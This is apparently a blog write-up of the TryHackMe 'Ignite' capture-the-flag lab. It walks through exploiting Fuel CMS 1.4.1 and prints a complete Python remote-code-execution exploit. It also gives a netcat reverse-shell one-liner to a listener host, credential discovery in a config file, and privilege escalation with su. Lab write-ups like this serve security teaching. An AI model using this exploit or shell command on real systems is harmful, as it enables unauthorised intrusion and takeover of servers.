• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

A little Writeup about the Ignite challenge

AnonyViet by AnonyViet
January 10, 2023
in Security
0

Continue the series of writing up interesting challenges on Tryhackme. The challenge this time I writeup with you is Ignite.

Join the channel Telegram of the AnonyViet 👉 Link 👈

A little Writeup about the Ignite challenge

A little Writeup about the Ignite challenge

Nmap

A little Writeup about the Ignite 15 . challenge

We can see two ports in the nmap scan but only port 80 is open, the other port is filtered so we can ignore it. Discover what port 80 has.

HTTP

A little Writeup about Ignite 16 . challenge

I think this is a new kind of CMS system because I have never seen it used in any other vulnerable system.

During the nmap scan, we can see that file robots.txt there are several data entries.

A little Writeup about the Ignite challenge 17

When I try to access /fuelthen I found this login screen.

A little Writeup about the Ignite 18 challenge

Since we don’t have any credentials we can’t log into the site, so we’ll need to find some workaround.

What comes to mind is is that the default login? And I was right, the login is admin:adminbut I found out I don’t need them.

Just change the plan, I’m looking for information about fuel above searchsploit and found the RCE for the version 1.4.1

A little Writeup about the Ignite 19 challenge

Next is to download the exploit and change line 14 to URL = “http://10.0.0.130/” ie IP of the machine.

Here is the exploit:

import requests
import urllib

URL = "http://10.0.0.130/"


def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start


while 1:
    xxxx = input('cmd:')
    url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

Run the exploit and enter the input.

A little Writeup about the Ignite 20 . challenge

NOTE: Make sure the input command is in “” ie when you run the exploit you will have to enter the command you want to execute. Example: Suppose you want to run ls then you must type cmd: “ls” and not cmd: ls. Note that the command must be enclosed in quotation marks.

Since we already know RCE, it is easy to get everse shell. Run the following command to get the reverse shell:

cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444 >/tmp/f"

This command will give you a reverse shell on your listener that will listen on port 4444 via nc -nlvp 4444

A little Writeup about the Ignite 21 challenge

Now we can get the flag from the home directory.

A little Writeup about the Ignite 22 . challenge

Escalation of privileges

Since we’re on the victim machine, let’s try running the enum command to see if we can find anything. You can use the word wget to load the enum file from your system onto the machine.

A little Writeup about the Ignite challenge 23

After searching for a while, I found the root password at: /var/www/html/fuel/application/config/database.php

A little Writeup about Ignite 24 challenge

root: mememe

Okay we just found the password for the root user and now we can change our account to root by command su.

A little Writeup about the Ignite 25 . challenge

Then you just get the root flag from /root.

summary

Ignite is a pretty good challenge for beginners from @Darkstar and @lollava. If you are a beginner then I recommend you to play the Ignite challenge.

Alternatively, you can also solve Shodan.io on Tryhackme here.

The article achieved: 5/5 – (100 votes)

Tags: challengeIgniteWriteup
Previous Post

Lesson 175: Making a depreciation table in Excel

Next Post

How to Download Videos from Instagram

AnonyViet

AnonyViet

Related Posts

How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Seekr: Collect & manage OSINT data
Security

Seekr: Collect & manage OSINT data

November 22, 2024
Next Post
How to Download Videos from Instagram

How to Download Videos from Instagram

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
[Godot Shooter] #2: Creating characters & shooting bullets

[Godot Shooter] #2: Creating characters & shooting bullets

June 7, 2025
Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
Discover the glowing effect next to the iPhone ios 18 screen

Discover the glowing effect next to the iPhone ios 18 screen

June 8, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Top 5 game programming languages ​​to learn now

Top 5 game programming languages ​​to learn now

June 8, 2025
The iPhone list is updated with iOS 26

The iPhone list is updated with iOS 26

June 8, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí SHBET https://kubet88.yoga/ bj88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply